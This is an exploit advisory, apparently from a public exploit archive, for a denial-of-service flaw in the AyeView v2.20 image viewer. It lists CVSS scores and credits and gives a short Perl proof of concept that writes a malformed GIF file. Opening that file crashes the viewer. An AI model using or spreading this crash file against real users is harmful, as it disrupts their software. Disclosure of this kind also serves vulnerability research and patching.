AyeView v2.20 (malformed gif image) DoS Exploit

Credit: suN8Hclf
Risk: Low
Local: Yes
Remote: No

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Name : AyeView v2.20 (malformed gif image) DoS Exploit Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd (at) gmail (dot) com [email concealed] Download: : http://www.ayeview.com/downloads.htm Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, Katharsis, all from #dark-coders and others;] PoC: #!/usr/local/bin/perl # Open file (File->Open) or simply click on the image miniature # AyeView freezes and after few seconds crashes... # Tested on Windows XP SP2 & Windows 2000 SP4 my $code="\x47\x49\x46\x38\x39\x61\xff\xff\xff\xff\x0e". "\x00\x00\x2c\x00\x00\x00\x00\xff\xff\xff\xff\x00"; my $file="open_me.gif"; open(my $FILE, ">>$file") or die "[!]Cannot open file"; print $FILE $code; close($FILE); print "$file has been generated\n" print "Credit: suN8Hclf, www.dark-coders.pl"



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